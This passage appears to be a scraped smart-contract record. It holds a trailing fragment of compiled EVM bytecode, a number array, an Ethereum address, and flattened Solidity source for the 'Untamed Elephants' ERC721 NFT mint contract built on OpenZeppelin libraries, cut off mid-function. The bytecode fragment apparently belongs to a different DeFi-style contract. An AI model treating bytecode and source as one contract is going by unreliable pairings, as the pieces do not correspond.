2015290519081900360640190fd5b600d54600e546000916124829190612415565b600b54909150158015906124965750804310155b1561254c57600454600a5460ff16156124d057600b546004546124b891612415565b6004819055600c54116124cb576000600b555b6124f2565b600b546004546124df9161203b565b6004819055600c54106124f2576000600b555b43600e55600454600b54600a546040805185815260208101949094528381019290925260ff1615156060830152517fb923e581a0f83128e9e1d8297aa52b18d6744310476e0b54509c054cd7a93b2a9181900360800190a1505b50565b600080600061255e86866126a0565b915091506000848061256c57fe5b868809905082811115612580576001820391505b80830392508482106125d9576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b6125e48383876126cd565b979650505050505050565b6060612644826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661273d9092919063ffffffff16565b8051909150156124105780806020019051602081101561266357600080fd5b50516124105760405162461bcd60e51b815260040180806020018281038252602a8152602001806129f8602a913960400191505060405180910390fd5b60008080600019848609905083850292508281039150828110156126c5576001820391505b509250929050565b600081810382168083816126dd57fe5b0492508085816126e957fe5b0494508081600003816126f857fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b606061274c8484600085612754565b949350505050565b606061275f856128c1565b6127b0576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106127ef5780518252601f1990920191602091820191016127d0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612851576040519150601f19603f3d011682016040523d82523d6000602084013e612856565b606091505b5091509150811561286a57915061274c9050565b80511561287a5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156122b357818101518382015260200161229b565b3b151590565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b6040805160208101909152600081529056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a206d757374206265206e6577206f776e657220746f2070756c6c4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572536c697070616765206c696d69743a206d6f7265207468616e206d617820707269636556657374696e67206d757374206265206c6f6e676572207468616e20333620686f7572735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212203d0a67c24556b530942daa471c1661b112a738d6c87984b35ab202d7361893ed64736f6c63430007050033
[ 5, 16, 4, 7 ]
0xf202a47db0753dc17e22ad24df723788165f6739
// SPDX-License-Identifier: Unlimited pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract UE is ERC721Enumerable, Ownable { uint public constant MAX = 7500; string _baseTokenURI; bool _didWeGetTheReserves = false; uint _saleTime = 1625346000; mapping (uint256 => string) public _tokenURI; constructor(string memory baseURI) ERC721("Untamed Elephants", "UE") { setBaseURI(baseURI); } modifier saleIsOpen{ require(totalSupply() < MAX, "UntamedElephants: Sale ended"); _; } function mint(address _to, uint _count) public payable saleIsOpen { require(totalSupply() + _count <= MAX, "UntamedElephants: Not enough left to mint"); require(totalSupply() < MAX, "UntamedElephants: Not enough left to mint"); require(_count <= 10, "UntamedElephants: Exceeds the max you can mint"); require(msg.value >= price(_count), "UntamedElephants: Value below price"); require(block.timestamp >= _saleTime, "UntamedElephants: Sale opens on the 3rd of July"); for(uint x = 0; x < _count; x++){ _safeMint(_to, totalSupply()); } } function price(uint _count) public pure returns (uint256) { return 60000000000000000 * _count; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function changeSaleTime(uint time) 